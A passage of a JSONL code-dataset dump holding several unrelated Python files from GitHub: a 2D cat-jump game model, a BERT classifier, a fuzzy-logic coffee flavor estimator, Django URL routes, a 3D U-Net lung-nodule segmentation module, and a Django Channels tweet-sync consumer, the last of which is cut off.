row_i >= self.platforms.len_p:\n            self.yarn.update_winning_status(self.mc)\n        # stepped_into_row        print(row_i)_i = self.mc.verticalCollide(self.platforms)\n\n        self.mc.update_losing_status(self.platforms, stepped_into_row_i)\n\n    def enable_game_over(self):\n        self.base.enable_game_over = True\n        self.yarn.enable_game_over = True\n\n\nclass NoTextureScrollableWorld(ScrollableWorld):\n    def __init__(self, platform_filename, y_sep=0.8, window_width= 558, window_height = 992):\n        super().__init__(platform_filename,y_sep, window_width, window_height)\n\n        mc = MovingQuad(0.2, 0.2, \"Quad\")\n        mc.set_model_color((0.0, 0.0, 0.0))\n\n        base = Base()\n        base.set_model_color((0.0, 1.0, 1.0))\n        self.base = base\n\n        slab_pattern = Platform(0.4,  0.1)\n        slab_pattern.set_model_color((1.0, 0.0, 0.0))\n\n        platform_list = PlatformList(base,slab_pattern,y_sep)\n\n        yarn = Yarn(0.3)\n        yarn.set_model_color((1.0, 1.0, 0.0))\n\n        self.set_mc(mc)\n        self.set_platforms(platform_list)\n        self.add_platforms_to_model()\n        self.set_yarn(yarn)\n\n\nclass TextureScrollableWorld(ScrollableWorld):\n    def __init__(self, platform_filename, y_sep=0.8, window_width= 558, window_height = 992):\n        super().__init__(platform_filename, y_sep, window_width, window_height)\n\n        mc = Cat(0.2, 0.2)\n\n        base = Base()\n        base.set_model_texture(\"textures/base.png\")\n        self.base = base\n\n        slab_pattern = Platform(0.4, 0.1)\n        slab_pattern.set_model_texture(\"textures/platform.png\")\n\n        platform_list = PlatformList(base,slab_pattern,y_sep)\n\n        yarn = Yarn(0.3)\n        yarn.set_model_texture(\"textures/lana.png\")\n\n        self.set_mc(mc)\n        self.set_platforms(platform_list)\n\n        self.background = None\n        self.set_background()\n        self.add_platforms_to_model()\n        self.set_yarn(yarn)\n\n        self.yarn.set_bg(self.background)\n        self.yarn.set_world_model(self.world)\n        self.yarn.set_update_list(self.update_list)\n\n        self.base.set_bg(self.background)\n        self.base.set_world_model(self.world)\n        self.base.set_update_list(self.update_list)\n\n    def set_background(self):\n        self.background = Background(self.window_w, self.window_h, self.max_scroll_y)\n        self.not_moving.children += [self.background.model]\n","repo_name":"malva28/Cat-Jump-2D","sub_path":"codigo/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6090338274","text":"from transformers import AutoModel, AutoConfig\n\nimport torch.nn as nn\n\n\nclass SimpleBERTLikeClassifier(nn.Module):\n    \"\"\"\n    Transformer model + Dropout + linear layer\n    \"\"\"\n\n    def __init__(self, num_classes, backbone_id, return_embedding=False):\n        '''\n        Huggingface Model + classification head\n        @param num_classes: number of classes\n        @param backbone_id: model id from huggingface model hub\n        @param return_embedding: also return the final [CLS] embedding?\n        '''\n        super().__init__()\n\n        self.encoder = AutoModel.from_pretrained(backbone_id)\n\n        self.dropout = nn.Dropout(0.5)\n        conf = AutoConfig.from_pretrained(backbone_id)\n        self.linear = nn.Linear(conf.hidden_size, num_classes)\n        self.return_embedding = return_embedding\n\n    def forward(self, input):\n        ids, masks, lengths = input\n        encoding = self.encoder(ids, attention_mask=masks, output_hidden_states=True)[0][:, 0, :]\n        encoding_do = self.dropout(encoding)\n        logits = self.linear(encoding_do)\n        if self.return_embedding:\n            return logits, encoding\n        else:\n            return logits\n","repo_name":"lc0197/emotion_modelling_stories","sub_path":"src/models/bert.py","file_name":"bert.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"38795796583","text":"\"\"\"\nDegiskenler: Aftertaste, Acidity, Flavor\nAcidity ve Flavor Arasinda kayda deger pozitif kolerasyon var\nSweetness ile ise negatif kolerasyon var\n\nOrnek Kurallar Kurallar\nIF (Aftertaste Yüksek) and (Acidity Yüksek) then Flavor Yüksek\nIF (Aftertaste Yüksek) and (Acidity Yüksek) then Flavor Yüksek\nIF (Aftertaste Yüksek) and (Acidity Yüksek) then Flavor Yüksek\n\nUyelik Fonksyonlari\nucgenin trimf 6 7 8, 7 8 9, 8 9 10\nAZ ORTA COK\n\ndegiskenlerde flavor yerine cupper points te kullanilabilir\n\"\"\"\n\n#%% importlar\n\nimport numpy as np\nimport skfuzzy as fuzz\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n#%% kullanilacak verilerin duzenlenmesi\n\ncolumn_list = [\"Aftertaste\", \"Acidity\", \"Flavor\"]\ndf = pd.read_csv(\"../../data/merged_data_cleaned.csv\", usecols = column_list)\n\ncolumns = df.columns\n# print(\"columns: \", columns)  # columns\nprint(\"raw shape\", df.shape)\n\n# drop null/na\ndf = df.dropna()\n# drop zeros\ndf = df[(df.T != 0).any()]\n# filter values\ndf = df[df['Aftertaste'] > 6] \ndf = df[df['Acidity'] > 6] \nprint(\"onislemenden sonra shape: \", df.shape)\n\n#%% uyelik fonksyonlarini olusturma\n\nx_aftertaste = np.arange(6, 10.1, 0.1)\nx_acidity = np.arange(6, 10.1, 0.1)\nx_flavor = np.arange(6, 10.1, 0.1)\n    \naftertaste_D = fuzz.trimf(x_aftertaste, [6, 7, 8])\naftertaste_O = fuzz.trimf(x_aftertaste, [7, 8, 9])\naftertaste_Y = fuzz.trimf(x_aftertaste, [8, 9, 10])\n\nacidity_D = fuzz.trimf(x_acidity, [6, 7, 8])\nacidity_O = fuzz.trimf(x_acidity, [7, 8, 9])\nacidity_Y = fuzz.trimf(x_acidity, [8, 9, 10])\n\nflavor_D = fuzz.trimf(x_flavor, [6, 7, 8])\nflavor_O = fuzz.trimf(x_flavor, [7, 8, 9])\nflavor_Y = fuzz.trimf(x_flavor, [8, 9, 10])\n\nfor i in range(10):\n    aftertaste_D[i] = 1 \n    acidity_D[i] = 1\n    flavor_D[i] = 1\n    \nfor i in range(30,41):\n    aftertaste_Y[i] = 1\n    acidity_Y[i] = 1 \n    flavor_Y[i] = 1\n\n\nfig, (ax0, ax1, ax2) = plt.subplots(nrows=3, figsize=(12, 12))\nax0.plot(x_aftertaste, aftertaste_D, 'b', linewidth=1.5, label='Düşük')\nax0.plot(x_aftertaste, aftertaste_O, 'g', linewidth=1.5, label='Orta')\nax0.plot(x_aftertaste, aftertaste_Y, 'r', linewidth=1.5, label='Yüksek')\nax0.set_title('Aftertaste')\nax0.legend()\n\nax1.plot(x_acidity, acidity_D, 'b', linewidth=1.5, label='Düşük')\nax1.plot(x_acidity, acidity_O, 'g', linewidth=1.5, label='Orta')\nax1.plot(x_acidity, acidity_Y, 'r', linewidth=1.5, label='Yüksek')\nax1.set_title('Acidity')\nax1.legend()\n\nax2.plot(x_flavor, flavor_D, 'b', linewidth=1.5, label='Düşük')\nax2.plot(x_flavor, flavor_O, 'g', linewidth=1.5, label='Orta')\nax2.plot(x_flavor, flavor_Y, 'r', linewidth=1.5, label='Yüksek')\nax2.set_title('Flavor')\nax2.legend()\n\nfor ax in (ax0, ax1, ax2):\n    ax.spines['top'].set_visible(False)\n    ax.spines['right'].set_visible(False)\n    ax.get_xaxis().tick_bottom()\n    ax.get_yaxis().tick_left()\nplt.tight_layout()    \n\n#%% get randaom sample\nrandom_row = df.sample(n = 1) \n\nprint(random_row)\naftertaste = random_row.iloc[0]['Aftertaste']\nacidity = random_row.iloc[0]['Acidity']\nflavor_org = random_row.iloc[0]['Flavor']\n\n# aftertaste = 5.25\n# acidity = 6.17\n# flavor_org = 6.08\n\ndf.max(axis = 0) \ndf.min(axis = 0) \n\nrow_t  = (aftertaste, acidity, flavor_org,)\nprint(\"random data sample\")\nprint(\"Acidity: \", acidity )\nprint(\"Aftertaste: \", aftertaste)\nprint(\"Flavor: \", flavor_org)\n\n#%% aftertaste memberships\naftertaste_level_D = fuzz.interp_membership(x_aftertaste, aftertaste_D, aftertaste)\naftertaste_level_O = fuzz.interp_membership(x_aftertaste, aftertaste_O, aftertaste)\naftertaste_level_Y = fuzz.interp_membership(x_aftertaste, aftertaste_Y, aftertaste)\n\nprint(\"membership aftertaste_level_D: \", aftertaste_level_D)\nprint(\"membership aftertaste_level_O: \", aftertaste_level_O)\nprint(\"membership aftertaste_level_Y: \", aftertaste_level_Y)\n\n#%% acidity\n\nacidity_level_D = fuzz.interp_membership(x_acidity, acidity_D, acidity)\nacidity_level_O = fuzz.interp_membership(x_acidity, acidity_O, acidity)\nacidity_level_Y = fuzz.interp_membership(x_acidity, acidity_Y, acidity)\n\nprint(\"membership acidity_level_D: \", acidity_level_D)\nprint(\"membership acidity_level_O: \", acidity_level_O)\nprint(\"membership acidity_level_Y: \", acidity_level_Y)\n#%% fuzzy inference burayi anlamak lazim\n\n# Active rule un olayini anlamak lazim, mamdani ile mi alakali yoksa genel\n\n'''\n# * IF (Aftertaste Düşük) and (Acidity Düşük) then Flavor Düşük\n# IF (Aftertaste Düşük) and (Acidity Orta) then Flavor Düşük\n# IF (Aftertaste Düşük) and (Acidity Yüksek) then Flavor Orta\n\n# IF (Aftertaste Orta) and (Acidity Düşük) then Flavor Düşük\n# * IF (Aftertaste Orta) and (Acidity Orta) then Flavor Orta\n# IF (Aftertaste Orta) and (Acidity Yüksek) then Flavor Yüksek\n\n# IF (Aftertaste Yüksek) and (Acidity Düşük) then Flavor Orta\n# IF (Aftertaste Yüksek) and (Acidity Orta) then Flavor Yüksek\n# * IF (Aftertaste Yüksek) and (Acidity Yüksek) then Flavor Yüksek\n'''\n\nactive_rule1 = np.fmin(acidity_level_D, aftertaste_level_D)\nactive_rule2 = np.fmin(acidity_level_D, aftertaste_level_D)\nactive_rule3 = np.fmin(acidity_level_D, aftertaste_level_D)\n\nactive_rule4 = np.fmin(acidity_level_O, aftertaste_level_O)\nactive_rule5 = np.fmin(acidity_level_O, aftertaste_level_O)\nactive_rule6 = np.fmin(acidity_level_O, aftertaste_level_O)\n\nactive_rule7 = np.fmin(acidity_level_Y, aftertaste_level_Y)\nactive_rule8 = np.fmin(acidity_level_Y, aftertaste_level_Y)\nactive_rule9 = np.fmin(acidity_level_Y, aftertaste_level_Y)\n\nprint(\"active_rule1: \", active_rule1)\nprint(\"active_rule4: \", active_rule4)\nprint(\"active_rule9: \", active_rule9)\n\n\n'''\nmamdaninin devami\n'''\n\nflavor_activation_1 = np.fmin(active_rule1, flavor_D)\nflavor_activation_2 = np.fmin(active_rule4, flavor_O)\nflavor_activation_3 = np.fmin(active_rule9, flavor_Y)\n\nflavor0 = np.zeros_like(x_flavor)\n#%% plot outputs\n\n\nfig, ax0 = plt.subplots(figsize=(10, 4))\nax0.set_title('Üyelik Aktivasyonu')\nax0.fill_between(x_flavor, flavor0, flavor_activation_1, facecolor='b', alpha=0.7)\nax0.plot(x_flavor, flavor_Y, 'b', linewidth=0.5, linestyle=':', )\n\nax0.fill_between(x_flavor, flavor0, flavor_activation_2, facecolor='g', alpha=0.7)\nax0.plot(x_flavor, flavor_O, 'g', linewidth=0.5, linestyle=':', )\n\nax0.fill_between(x_flavor, flavor0, flavor_activation_3, facecolor='r', alpha=0.7)\nax0.plot(x_flavor, flavor_D, 'r', linewidth=0.5, linestyle=':', )\n\n\n# Turn off top/right exes\nfor ax in (ax0,):\n    ax.spines['top'].set_visible(False)\n    ax.spines['right'].set_visible(False)\n    ax.get_xaxis().tick_bottom()\n    ax.get_yaxis().tick_left()\nplt.tight_layout() \n\n''' aggregated, np.fmax()\n    np.fmax() \n    npCompare two arrays and returns a new array containing the element-wise maxima\n'''\n\naggregated = np.fmax (flavor_activation_1, \n                      np.fmax(flavor_activation_2, flavor_activation_3)) \n\n''' flavor, fuzz.defuzz()\n\n'''\n\nflavor_model = fuzz.defuzz(x_flavor, aggregated, 'centroid')\n# !!! flavor_activation bunun olayini anlamak lazim\nflavor_activation = fuzz.interp_membership(x_flavor, aggregated, flavor_model)\n\nprint('flavor model: ', flavor_model)\nprint('flavor original: ', flavor_org)\nprint('model error', format(abs((flavor_model - flavor_org) / flavor_org) * 100, '.4f'))\n\nfig, ax0 = plt.subplots(figsize=(10, 4))\nax0.plot(x_flavor, flavor_D, 'b', linewidth=1.5, linestyle=':')\nax0.plot(x_flavor, flavor_O, 'g', linewidth=1.5, linestyle=':')\nax0.plot(x_flavor, flavor_Y, 'r', linewidth=1.5, linestyle=':')\n\nax0.fill_between(x_flavor, flavor0, aggregated, facecolor='cyan', alpha=0.7)\nax0.plot([flavor_model, flavor_model], [0, flavor_activation], 'k', linewidth=1.5, alpha=0.9)\nax0.set_title('Üyeliklerin Kümelenmesi ve Durulama Çıktısı')","repo_name":"mrkaurelius/fuzzykafe","sub_path":"py/fuzzykafe/varset1.py","file_name":"varset1.py","file_ext":"py","file_size_in_byte":7630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"7637846854","text":"from django.urls import path\nfrom .  import views\n\nurlpatterns=[\n    path('create', views.create ),\n    path('edit/<int:id>', views.update ),\n    path('delete/<int:id>', views.delete ),\n    path('',views.index,name='index'),\n    path('tables/',views.tables,name='index'),\n    path('timer/',views.timer,name='timer'),\n\n\n]","repo_name":"kthanigaivel/time-table","sub_path":"scheduler/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36207303808","text":"import os\nimport numpy as np\nfrom tqdm import tqdm\nimport keras.backend as K\nimport cv2 as cv\nfrom keras.models import Model\nfrom keras.layers import Input, Conv3D, MaxPooling3D, Dropout, BatchNormalization, Lambda, UpSampling3D, concatenate\nimport tensorflow as tf\nfrom volumentations import *\n\n\nINPUT_WIDTH=64\nINPUT_HEIGHT=64\nINPUT_DEPTH=64\nINPUT_CHANNEL=1\nOUTPUT_CHANNEL=1\nTRAIN_SEG_LEARNING_RATE=0.0003\nSMOOTH = 1.0\n\ndef getWeightsPath(dirpath,choix_lr,choix1,choix2):\n    list1=os.listdir(dirpath)\n    list1.sort()\n    for x in list1:\n        path2=os.path.join(dirpath,x)\n        if(choix_lr in x):\n            for x1 in os.listdir(path2):\n                if(choix1 in x1):\n                    path3=os.path.join(path2,x1)\n                    for x2 in os.listdir(path3):\n                        if(choix2 in x2 and 'after' in x2): \n                            weights_segmentation_after=os.path.join(path3,x2)\n                        if(choix2 in x2 and 'after' not in x2):\n                            weights_segmentation_best=os.path.join(path3,x2)    \n    return weights_segmentation_best,weights_segmentation_after\n\ndef findNoduleCoordinatesinBlock(mask,coords,plus=5):\n    mask=mask.astype(dtype=np.uint8)\n    list_coo1=[]\n    list_coo2=[]\n    for i in range(mask.shape[0]): \n        thresh = cv.threshold(mask[i],0,255,cv.THRESH_OTSU + cv.THRESH_BINARY)[1]\n        cnts = cv.findContours(thresh, cv.RETR_EXTERNAL, cv.CHAIN_APPROX_SIMPLE)\n        cnts = cnts[0] if len(cnts) == 2 else cnts[1]\n        for c in cnts:\n            x,y,w,h = cv.boundingRect(c)\n            x1=(x,y)\n            x2=(x+w//2,y+h//2)\n            r=max(w//2+1,h//2+1)\n            coords1=(i,x2[1],x2[0],r)\n            coords2=(coords[0]+coords1[0],coords[1]+coords1[1],coords[2]+coords1[2],r)\n            list_coo1.append(coords1)\n            list_coo2.append(coords2)\n    return  list_coo1,list_coo2       \n\ndef create3dBlock(img,coords,size_3d=64):\n\n    cimg=np.full((size_3d,size_3d,size_3d),170,dtype=np.uint8)\n\n\n    x=int(coords[2]-size_3d//2)\n    y=int(coords[1]-size_3d//2)\n    z=int(coords[0]-size_3d//2)\n    zd=coords[0]\n  \n\n    ax=x\n    bx=x+size_3d\n    ay=y\n    by=y+size_3d\n    az=z\n    bz=z+size_3d\n\n\n    if(x+size_3d>img.shape[3]):\n        ax=img.shape[3]-size_3d\n        bx=img.shape[3]\n    if(y+size_3d>img.shape[2]):\n        ay=img.shape[2]-size_3d\n        by=img.shape[2]\n    if(z+size_3d>img.shape[1]):\n        az=img.shape[1]-size_3d\n        bz=img.shape[1]    \n    if(x<0):\n        ax=0\n        bx=size_3d\n    if(y<0):\n        ay=0\n        by=size_3d\n    if(z<0):\n        az=0\n        bz=size_3d\n\n    apx=0\n    apy=0\n    apz=0\n    if(ax<0):\n        apx=abs(ax)\n        ax=0\n\n    if(ay<0):\n        apy=abs(ay)\n        ay=0\n\n    if(az<0):\n        apz=abs(az)\n        az=0\n\n    start_coords=(az,ay,ax)\n    cimg[0:size_3d-apz,0:size_3d-apy,0:size_3d-apx]=img[0][az:bz,ay:by,ax:bx]\n\n    \n    return cimg,start_coords \n\ndef getAll3dBlocks(img,sp=[32,32,32]):\n    list_coords=[]\n    for z in range(0,img.shape[1],sp[0]):\n        zf=z+64\n        if(zf>img.shape[1]):\n            zf=img.shape[1] \n            z=zf-64\n        for y in range(0,img.shape[2],sp[1]):\n            yf=y+64\n            if(yf>img.shape[2]):\n                yf=img.shape[2]\n                y=yf-64\n            for x in range(0,img.shape[3],sp[2]):\n                xf=x+64\n                if(xf>img.shape[3]):\n                    xf=img.shape[3]\n                    x=xf-64\n                list_coords.append((z,y,x))\n\n    return list_coords \n\ndef Load3dBlock(rimg):\n    rgbimg = np.zeros((rimg.shape[0],rimg.shape[1],rimg.shape[2],3),dtype=rimg.dtype)\n\n    \n    for z in range(rimg.shape[0]):\n            rgbimg[z]=cv.cvtColor(rimg[z],cv.COLOR_GRAY2RGB)\n   \n    rgbimg=rgbimg.astype(dtype=np.uint8)\n     \n       \n    return rgbimg\n\ndef drawAllResults(img,list_coords):\n    colorRange = np.arange(150,255,20,dtype=np.uint8)\n    img2=np.copy(img)\n    for i in tqdm(range(len(list_coords))):\n        color1 = random.randint(0,len(colorRange)-1)\n        color2 = random.randint(0,len(colorRange)-1)\n        color3 = random.randint(0,len(colorRange)-1)\n        colorRGB = (int(colorRange[color1]),int(colorRange[color2]),int(colorRange[color3]))\n        for c1 in list_coords[i]:\n            img2[c1[0]] = cv2.circle(img2[c1[0]], (c1[2],c1[1]), c1[3], colorRGB, 1)\n    return img2                                         \n\ndef show_predictions2(model,sample_image,coords,show=True):\n\n\n    #prediction\n    sample_image=sample_image.astype(np.float32)\n    pred_mask = model.predict(sample_image[tf.newaxis, ...])\n    predmask=(pred_mask[0]*255).astype(dtype=np.uint8)\n\n    sample_image = sample_image[..., np.newaxis]\n    sample_image=sample_image.astype(np.uint8)\n\n    l1,l2=findNoduleCoordinatesinBlock(predmask,coords)\n    \n    return  np.max(np.unique(pred_mask.astype(dtype=np.uint8))),l1,l2\n\ndef getNodulesCoordinates3(model,img):\n    img2=np.copy(img)\n    list_coords=getAll3dBlocks(img)\n    results_list_coords=[]\n\n    for id,c in tqdm(enumerate(list_coords)):\n        coords=list_coords[id]\n        sample_image=img[0][coords[0]:coords[0]+64,coords[1]:coords[1]+64,coords[2]:coords[2]+64]\n        predval,l1,l2=show_predictions2(model,sample_image,coords,show=False)\n        if(predval>0):\n            #create nodule centered block\n            ind=len(l2)//2\n            coo=(l2[ind][0],l2[ind][1],l2[ind][2])\n            block2,st=create3dBlock(img,coo) \n            predval2,l3,l4=show_predictions2(model,block2,st,show=False)\n            if(predval2>0):\n                #get block\n                block3=img[0][st[0]:st[0]+64,st[1]:st[1]+64,st[2]:st[2]+64]\n                final_block=Load3dBlock(block3)\n                results_list_coords.append(l4)\n    list_coords2 = removeduplicates(results_list_coords)          \n    return list_coords2\n\ndef dice_coef(y_true, y_pred):\n    y_true_f = K.flatten(y_true)\n    y_pred_f = K.flatten(y_pred)\n    intersection = K.sum(y_true_f * y_pred_f)\n    return (2. * intersection + SMOOTH) / (K.sum(y_true_f) + K.sum(y_pred_f) + SMOOTH)\n\ndef dice_coef_loss(y_true, y_pred):\n    return 1-dice_coef(y_true, y_pred)\n\ndef metrics_true_sum(y_true, y_pred):\n    return K.sum(y_true)\n\ndef metrics_pred_sum(y_true, y_pred):\n    return K.sum(y_pred)\n\ndef metrics_pred_max(y_true, y_pred):\n    return K.max(y_pred)\n\ndef metrics_pred_min(y_true, y_pred):\n    return K.min(y_pred)\n\ndef metrics_pred_mean(y_true, y_pred):\n    return K.mean(y_pred)\n\ndef get_unet():\n    inputs = Input((INPUT_WIDTH, INPUT_HEIGHT, INPUT_DEPTH, INPUT_CHANNEL))\n    s = Lambda(lambda x: x / 255) (inputs)\n    conv1 = Conv3D(32, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(s)\n    conv1 = Dropout(0.1) (conv1)\n    conv1 = Conv3D(32, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(conv1)\n    pool1 = MaxPooling3D(pool_size=(2, 2, 2))(conv1)\n    pool1 = Dropout(0.5) (pool1)\n    pool1 = BatchNormalization()(pool1)\n   \n    conv2 = Conv3D(64, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(pool1)\n    conv2 = Dropout(0.1) (conv2)\n    conv2 = Conv3D(64, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(conv2)\n    pool2 = MaxPooling3D(pool_size=(2, 2, 2))(conv2)\n    pool2 = Dropout(0.5) (pool2)\n    pool2 = BatchNormalization()(pool2)\n    \n    conv3 = Conv3D(128, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(pool2)\n    conv3 = Dropout(0.2) (conv3)\n    conv3 = Conv3D(128, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(conv3)\n    pool3 = MaxPooling3D(pool_size=(2, 2, 2))(conv3)\n    pool3 = Dropout(0.2) (pool3)\n    pool3 = BatchNormalization()(pool3)\n\n    \n    \n    \n    conv4 = Conv3D(256, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(pool3)\n    conv4 = Dropout(0.3) (conv4)\n    conv4 = BatchNormalization()(conv4)\n    conv4 = Conv3D(256, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(conv4)\n\n    \n    \n    \n    \n    \n    up7 = concatenate([UpSampling3D(size=(2, 2, 2))(conv4), conv3], axis=-1)\n    conv7 = Conv3D(128, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(up7)\n    conv7 = Dropout(0.2) (conv7)\n    conv7 = BatchNormalization()(conv7)\n    conv7 = Conv3D(128, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(conv7)\n\n    up8 = concatenate([UpSampling3D(size=(2, 2, 2))(conv7), conv2], axis=-1)\n    conv8 = Conv3D(64, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(up8)\n    conv8 = Dropout(0.2) (conv8)\n    conv8 = BatchNormalization()(conv8)\n    conv8 = Conv3D(64, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(conv8)\n\n    up9 = concatenate([UpSampling3D(size=(2, 2, 2))(conv8), conv1], axis=-1)\n    conv9 = Conv3D(32, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(up9)\n    conv9 = Dropout(0.1) (conv9)\n    conv9 = BatchNormalization()(conv9)\n    conv9 = Conv3D(32, (3, 3, 3), activation='relu',kernel_initializer='he_normal', padding='same')(conv9)\n\n    conv10 = Conv3D(OUTPUT_CHANNEL, (1, 1, 1), activation='sigmoid')(conv9)\n\n    model = Model(inputs=inputs, outputs=conv10)\n    model.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=TRAIN_SEG_LEARNING_RATE), loss=dice_coef_loss,\n                  metrics=[dice_coef])\n\n    return model\n\ndef findSplitsInListCoords(list_coords):\n    list_coords2=[]\n    for i, coords in enumerate(list_coords):\n        valp=coords[0][0]\n        split=(-10,-10)\n        for j in range(1,len(coords)):\n            valc=coords[j][0]\n            diff=valc-valp\n            valp=valc\n            if(diff>1):\n                split=(i,j)\n        if(split[0]!=-10 and split[1]!=-10):\n            arr1=list_coords[split[0]][:split[1]]\n            arr2=list_coords[split[0]][split[1]:]\n            list_coords2.append(arr1)\n            list_coords2.append(arr2)\n        else:\n            list_coords2.append(coords)\n    return list_coords2                \n\ndef searchCoordsinListCoords(c,coords,mindist):\n    pos=-1\n    for i,c1 in enumerate(coords):\n        if(c1[0]==c[0]):\n            a=np.array((c[1],c[2]))\n            b=np.array((c1[1],c1[2]))\n            dist = np.round(np.linalg.norm(a - b),2)\n            if(dist<=mindist):\n                pos=i\n                return pos\n    \n    return pos\n\ndef getMinMaxListCoords(coords,coords2):\n    minx=1000\n    maxx=0\n    for c in coords:\n        if(c[0]>maxx):\n            maxx=c[0]\n        if(c[0]<minx):\n            minx=c[0]\n    for c in coords2:\n        if(c[0]>maxx):\n            maxx=c[0]\n        if(c[0]<minx):\n            minx=c[0]\n    return minx,maxx        \n\ndef createNewCoords(coords,coords2,minx,maxx):\n    coords3=[]\n    for z in range(minx,maxx+1):\n        c1=None\n        for c in coords:\n            if(c[0]==z):\n                c1=c\n                break\n        c2=None\n        for c in coords2:\n            if(c[0]==z):\n                c2=c\n                break\n        if(c1!=None and c2!=None):\n            if(c1[3]>c2[3]):\n                coords3.append(c1)\n            else:\n                coords3.append(c2)\n        else:\n            if(c1!=None and c2==None):\n                coords3.append(c1)\n            if(c2!=None and c1==None):\n                coords3.append(c2)\n    return coords3            \n\ndef removeIndicesFromListInter(l3):\n    l3_2=[]\n    new_l=[]\n    for i,val in enumerate(l3):\n        if(i not in l3_2):\n            for j,val2 in enumerate(l3):\n                if(i!=j and j not in l3_2):\n                    if(val[0]==val2[0] or val[0]==val2[1] or val[1]==val2[0] or val[1]==val2[1]):\n                         if(len(val[2]) >= len(val2[2])):\n                                l3_2.append(j)\n                         else:\n                                l3_2.append(i)\n                                break\n    for i,val in enumerate(l3):\n        if(i not in l3_2):\n            new_l.append(val) \n    return new_l      \n\ndef removeduplicates(list_coords,mindist=3):\n    list_coords2=[]\n    list_remove_ind=[]\n    list_remove_ind_tuple=[]\n    list_remove_ind_tuple2=[]\n    for i,coords in enumerate(list_coords):\n        if(i not in list_remove_ind):\n            vf=0\n            for j,coords2 in enumerate(list_coords):\n                if(i!=j and j not in list_remove_ind):\n                    if(len(coords) >= len(coords2)):\n                            cpt=0\n                            for c in coords2:\n                                pos=searchCoordsinListCoords(c,coords,mindist)\n                                if(pos!=-1):\n                                    cpt+=1\n                            if(cpt>0):\n                                if(cpt==len(coords2)):\n                                    list_remove_ind.append(j)\n                                    list_remove_ind_tuple.append((i,j))\n                                else:\n                                    minx,maxx=getMinMaxListCoords(coords,coords2)\n                                    list_remove_ind_tuple2.append((i,j,createNewCoords(coords,coords2,minx,maxx)))\n    \n    \n    for val in list_remove_ind_tuple2:\n        i=val[0]\n        j=val[1]\n        list_remove_ind.append(i)\n        list_remove_ind.append(j)\n    for k,coords in enumerate(list_coords):\n        if(k not in list_remove_ind):\n            list_coords2.append(coords)\n    list_remove_ind_tuple2=removeIndicesFromListInter(list_remove_ind_tuple2)        \n    for val in list_remove_ind_tuple2:\n        list_coords2.append(val[2])              \n    return list_coords2","repo_name":"Se1f0/GUI-PFE-MASTER","sub_path":"segmentation.py","file_name":"segmentation.py","file_ext":"py","file_size_in_byte":13625,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"3121436219","text":"import json\n\nimport channels.layers\nfrom asgiref.sync import async_to_sync\nfrom django.db.models.signals import post_delete\nfrom django.dispatch import receiver\nfrom django.conf import settings\nfrom channels.generic.websocket import JsonWebsocketConsumer\n\nfrom . import models\nfrom . import serializers\n\n\ndef sync():\n    channel_layer = channels.layers.get_channel_layer()\n    async_to_sync(channel_layer.group_send)(\n        settings.TWEETER_SYNC_GROUP_NAME, {\"type\": 'sync', \"message\": \"\"})\n\n\nclass TweeterConsumer(JsonWebsocketConsumer):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.filters = {\"hashtag\": None}\n\n    def connect(self):\n        self.accept()\n        async_to_sync(self.channel_layer.group_add)(\n            settings.TWEETER_SYNC_GROUP_NAME,\n            self.channel_name\n        )\n        self._sync()\n\n    def disconnect(self, close_code):\n        async_to_sync(self.channel_layer.group_discard)(\n            settings.TWEETER_SYNC_GROUP_NAME,\n            self.channel_name\n        )\n\n    def receive_json(self, text_data):\n        changed = False\n        content = text_data.get('content', None)\n        content_type = text_data.get('content_type', None)\n        if content_type == 'filter':\n            for name, flter in content.items():\n                changed = self._set_filter(name, flter)\n\n        if changed:\n            self._sync()\n\n    def sync(self, _=None):\n        self._sync()\n\n    def _set_filter(self, name, value):\n        if name in self.filters and value != self.filters[name]:\n            self.filters[name] = value\n            return True\n        return False\n\n    def _sync(self):\n        # Hashtags\n        hashtags = models.Hashtag.get_hashtags_sorted()\n        hashtag_serializer = serializers.HashtagSerializer(hashtags, many=True)\n\n        # Latest Tweets\n        tweets = models.Tweet.get_latest_tweets(hashtag_name=self.filters['hashtag'],\n                                                count=settings.LATEST_TWEETS_NB)\n        tweet_serializer = serializers.TweetSerializer(tweets, many=True)\n\n        # Summary\n        summary = models.Tweet.get_summary(\n            hashtag_name=self.filters['hashtag'])\n\n        tweets_per_hashtag = models.Hashtag.get_tweets_count_per_hashtag()\n        tweets_per_day = models.Tweet.get_hashtag_tweets_per_day(\n            num_days=7)\n        tweets_per_lang = models.Tweet.get_tweets_per_lang(\n            top=3, hashtag_name=self.filters['hashtag'])\n\n        content = {\n            'selected_hashtag': self.filters['hashtag'],\n            'hashtags': hashtag_serializer.data,\n            'tweets': tweet_serializer.data,\n            'summary': summary,\n            'tweets_per_hashtag': tweets_per_hashtag,\n            'tweets_per_day': tweets_per_day,\n            'tweets_per_lang': tweets_per_lang\n        }\n\n        self.send_json({\"content_type\": 'sync', \"content\": 